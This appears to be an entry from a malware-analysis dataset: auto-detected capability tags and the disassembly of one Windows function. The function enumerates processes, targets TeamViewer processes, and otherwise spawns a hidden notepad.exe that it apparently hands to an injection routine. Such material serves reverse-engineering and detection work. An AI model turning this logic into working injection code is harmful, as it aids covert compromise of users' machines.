Function at 0x402280
Capabilities:
Create process on windows
Enumerate processes
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 4], esi
cmp esi, ebx
je 0x4023fe
push 0x124
lea eax, [ebp - 0x184]
push ebx
push eax
mov dword [ebp - 0x188], 0x128
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x188]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x4022e0
lea edx, [ebp - 0x164]
push edx
call dword [sym.imp.msvcrt.dll__strlwr]
mov eax, dword [ebp - 0x180]
add esp, 4
push eax
push ebx
push 0x400
call edi
mov esi, eax
cmp esi, ebx
je 0x4023e2
lea ecx, [ebp - 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [ebp - 0x40], 9
jne 0x40232b
push esi
call fcn.00401f00
add esp, 4
test eax, eax
je 0x4023db
mov ecx, str.teamviewer.exe
lea eax, [ebp - 0x164]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402356
cmp dl, bl
je 0x402352
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402356
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x402336
xor eax, eax
jmp 0x40235b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4023db
mov ecx, str.tv_w32.exe
lea eax, [ebp - 0x164]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402390
cmp dl, bl
je 0x40238c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402390
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x402370
xor eax, eax
jmp 0x402395
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4023db
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x180], eax
je 0x4023db
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x180]
push edx
push ebx
push 0x10047a
call edi
mov esi, eax
cmp esi, ebx
je 0x4023e2
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push esi
call fcn.00402030
add esp, 8
test eax, eax
jne 0x4024fb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x188]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4022e0
mov esi, dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x28f]
push ebx
push eax
mov byte [ebp - 0x290], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x105
lea ecx, [ebp - 0x290]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x290]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402440
mov edx, dword [str._notepad.exe]
mov ecx, dword [0x40a884]
mov dword [eax], edx
mov edx, dword [0x40a888]
mov dword [eax + 4], ecx
mov cl, byte [0x40a88c]
mov dword [eax + 8], edx
push 0x44
lea edx, [ebp - 0x60]
push ebx
push edx
mov byte [eax + 0xc], cl
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x60]
push edx
push ebx
push ebx
push 0x4000000
push ebx
xor eax, eax
push ebx
push ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 0x30], ax
push ebx
lea eax, [ebp - 0x290]
push eax
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4024f2
mov esi, dword [ebp - 0x14]
cmp esi, ebx
je 0x4024f2
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push esi
call fcn.00402030
add esp, 8
test eax, eax
jne 0x402505
push esi
mov dword [0x427be0], ebx
mov dword [0x427be4], ebx
mov dword [0x427be8], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret